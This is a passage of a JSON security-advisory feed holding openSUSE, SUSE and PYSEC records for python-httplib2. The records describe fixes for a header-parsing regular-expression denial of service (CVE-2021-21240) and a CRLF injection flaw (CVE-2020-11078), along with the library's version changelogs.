the\nwww-authenticate header may cause Denial of Service (CPU burn while parsing\nheader) of the httplib2 client accessing said server (CVE-2021-21240).\n","status":"published","published":"2021-03-12T01:25:47Z","modified":"2026-04-16T04:40:37.319113404Z","updated_at":"2026-11-02T15:49:41.509337Z"},{"id":"openSUSE-SU-2021:0772-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n  - Removing certifi patch:\n    httplib2 started to use certifi and this is already bent to\n    use system certificate bundle by another patch\n\nThis update was imported from the SUSE:SLE-15:Update update project.","status":"published","published":"2021-05-23T04:05:51Z","modified":"2026-02-04T03:34:16.421858Z","updated_at":"2026-11-02T16:58:31.879684Z"},{"id":"openSUSE-SU-2021:0796-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n  - Removing certifi patch:\n    httplib2 started to use certifi and this is already bent to\n    use system certificate bundle by another patch\n\nThis update was imported from the SUSE:SLE-15:Update update project.\nThis update was imported from the openSUSE:Leap:15.2:Update update project.","status":"published","published":"2021-05-26T12:05:23Z","modified":"2026-02-04T02:34:19.430225Z","updated_at":"2026-11-02T16:58:31.879684Z"},{"id":"openSUSE-SU-2021:1806-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 fixes the following issues:\n\n- Update to version 0.19.0 (bsc#1182053).\n- CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).\n","status":"published","published":"2021-07-11T12:03:47Z","modified":"2026-02-04T04:37:55.101654Z","updated_at":"2026-11-02T16:58:32.266854Z"},{"id":"openSUSE-SU-2024:11231-1","title":"python36-httplib2-0.19.1-1.2 on GA media","description":"These are all security issues fixed in the python36-httplib2-0.19.1-1.2 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T04:28:27.548434Z","updated_at":"2026-11-02T16:58:34.894275Z"},{"id":"openSUSE-SU-2024:14141-1","title":"python310-httplib2-0.22.0-4.5 on GA media","description":"These are all security issues fixed in the python310-httplib2-0.22.0-4.5 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-07-12T00:00:00Z","modified":"2026-02-04T03:43:10.750348Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2026:11203-1","title":"python313-httplib2-0.32.0-1.1 on GA media","description":"These are all security issues fixed in the python313-httplib2-0.32.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-07T00:00:00Z","modified":"2026-07-09T10:00:07.454008116Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"PYSEC-2021-16","description":"httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of \"\\xa0\" characters in the \"www-authenticate\" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.","status":"published","published":"2021-02-08T20:15:00Z","modified":"2023-11-08T04:04:39.189613Z","updated_at":"2026-11-02T15:52:52.682031Z"},{"id":"SUSE-SU-2021:1637-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n  - Removing certifi patch:\n    httplib2 started to use certifi and this is already bent to\n    use system certificate bundle by another patch\n","status":"published","published":"2021-05-19T11:34:19Z","modified":"2026-02-04T02:36:46.730438Z","updated_at":"2026-11-02T15:53:49.138643Z"},{"id":"SUSE-SU-2021:1779-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- update to 0.17.3:\n  * bugfixes\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n   - httplib2 started to use certifi and this is already bent to\n    use system certificate bundle.\n  ","status":"published","published":"2021-05-27T09:44:14Z","modified":"2026-02-04T04:37:34.925217Z","updated_at":"2026-11-02T15:53:49.138643Z"},{"id":"SUSE-SU-2021:1806-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 fixes the following issues:\n\n- Update to version 0.19.0 (bsc#1182053).\n- CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).\n","status":"published","published":"2021-05-31T14:23:28Z","modified":"2026-02-04T04:24:03.995669Z","updated_at":"2026-11-02T15:53:49.138643Z"},{"id":"SUSE-SU-2021:1807-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon-security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- update to 0.17.3:\n  * bugfixes\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n    httplib2 started to use certifi and this is already bent to\n    use system certificate bundle.\n\n- handle the case when validation is disabled correctly.\n  The 'check_hostname' context attribute has to be\n  set first, othewise a 'ValueError: Cannot set\n  verify_mode to CERT_NONE when check_hostname\n  is enabled.' exception is raised.\n\n- handle the case with ssl_version being None correctly\n\n- Use  ssl.create_default_context in the python2 case so that\n  the system wide certificates are loaded as trusted again.\n\n- Source url must be https.\n\n- Spec file cleanups\n\n- Update to 0.10.3\n  *  Fix certificate validation on Python\u003c=2.7.8 without ssl.CertificateError\n- Update to 0.10.2\n  * Just a reupload of 0.10.1, which was broken for Python3\n    because wheel distribution doesn't play well with our 2/3 split code base.\n- Update to 0.10.1\n  * Remove VeriSign Class 3 CA from trusted certs\n  * Add IdenTrust DST Root CA X3\n  * Support for specifying the SSL protocol version (Python v2)\n  * On App Engine use urlfetch's default deadline if None is passed.\n  * Fix TypeError on AppEngine “__init__() got an unexpected keyword argument 'ssl_version’”\n  * Send SNI data for SSL connections on Python 2.7.9+\n  * Verify the server hostname if certificate validation is enabled\n  * Add proxy_headers argument to ProxyInfo constructor\n  * Make disable_ssl_certificate_validation work with Python 3.5.\n  * Fix socket error handling\n- Remove httplib2-bnc-818100.patch, merged upstream.\n\n- Project moved from code.google.com to GitHub, fix the url\n  accordingly\n\n- attempt to build multi-python\n\n- update and cleanup of httplib2-use-system-certs.patch,\n  so that the passthrough is clean for python2 and so that it does\n  the right thing in python3\n  ","status":"published","published":"2021-05-31T14:23:46Z","modified":"2026-02-04T03:55:31.925392Z","updated_at":"2026-11-02T15:53:49.138643Z"},{"id":"SUSE-SU-2021:1808-1","title":"Security update for python-httplib2","description":"This update for python-httplib2 contains the following fixes:\n\nSecurity fixes included in this update:\n- CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).\n- CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).\n\nNon security fixes included in this update:\n- Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)\n\n- update to 0.19.0:\n  * auth: parse headers using pyparsing instead of regexp\n  * auth: WSSE token needs to be string not bytes\n\n- update to 0.18.1: (bsc#1171998, CVE-2020-11078)\n  * explicit build-backend workaround for pip build isolation bug\n  * IMPORTANT security vulnerability CWE-93 CRLF injection\n  Force %xx quote of space, CR, LF characters in uri.\n  * Ship test suite in source dist\n\n- update to 0.17.3:\n  * bugfixes\n\n- Update to 0.17.1\n  * python3: no_proxy was not checked with https\n  * feature: Http().redirect_codes set, works after follow(_all)_redirects check\n    This allows one line workaround for old gcloud library that uses 308\n    response without redirect semantics.\n  * IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects\n  * proxy: username/password as str compatible with pysocks\n  * python2: regression in connect() error handling\n  * add support for password protected certificate files\n  * feature: Http.close() to clean persistent connections and sensitive data\n\n- Update to 0.14.0:\n  * Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError\n\n- version update to 0.13.1\n  0.13.1\n   * Python3: Use no_proxy\n     https://github.com/httplib2/httplib2/pull/140\n  0.13.0\n    * Allow setting TLS max/min versions\n      https://github.com/httplib2/httplib2/pull/138\n  0.12.3\n    * No changes to library. Distribute py3 wheels.\n  0.12.1\n    * Catch socket timeouts and clear dead connection\n      https://github.com/httplib2/httplib2/issues/18\n      https://github.com/httplib2/httplib2/pull/111\n    * Officially support Python 3.7 (package metadata)\n      https://github.com/httplib2/httplib2/issues/123\n  0.12.0\n    * Drop support for Python 3.3\n    * ca_certs from environment HTTPLIB2_CA_CERTS or certifi\n      https://github.com/httplib2/httplib2/pull/117\n    * PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required\n      https://github.com/httplib2/httplib2/pull/115\n    * Revert http:443-\u003ehttps workaround\n      https://github.com/httplib2/httplib2/issues/112\n    * eliminate connection pool read race\n      https://github.com/httplib2/httplib2/pull/110\n    * cache: stronger safename\n      https://github.com/httplib2/httplib2/pull/101\n  0.11.3\n    * No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis.\n  0.11.2\n    * proxy: py3 NameError basestring\n      https://github.com/httplib2/httplib2/pull/100\n  0.11.1\n    * Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info\n      https://github.com/httplib2/httplib2/pull/97\n  0.11.0\n    * Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5\n      https://github.com/httplib2/httplib2/pull/91\n    * python3 proxy support\n      https://github.com/httplib2/httplib2/pull/90\n    * If no_proxy environment value ends with comma then proxy is not used\n      https://github.com/httplib2/httplib2/issues/11\n    * fix UnicodeDecodeError using socks5 proxy\n      https://github.com/httplib2/httplib2/pull/64\n    * Respect NO_PROXY env var in proxy_info_from_url\n      https://github.com/httplib2/httplib2/pull/58\n    * NO_PROXY=bar was matching foobar (suffix without dot delimiter)\n      New behavior matches curl/wget:\n      - no_proxy=foo.bar will only skip proxy for exact hostname match\n      - no_proxy=.wild.card will skip proxy for any.subdomains.wild.card\n      https://github.com/httplib2/httplib2/issues/94\n    * Bugfix for Content-Encoding: deflate\n      https://stackoverflow.com/a/22311297\n- deleted patches\n  - httplib2 started to use certifi and this is already bent to\n    use system certificate bundle\n  ","status":"published","published":"2021-05-31T14:23:58Z","modified":"2026-02-04T02:24:34.533844Z","updated_at":"2026-11-02T15:53:49.138643Z"}]}}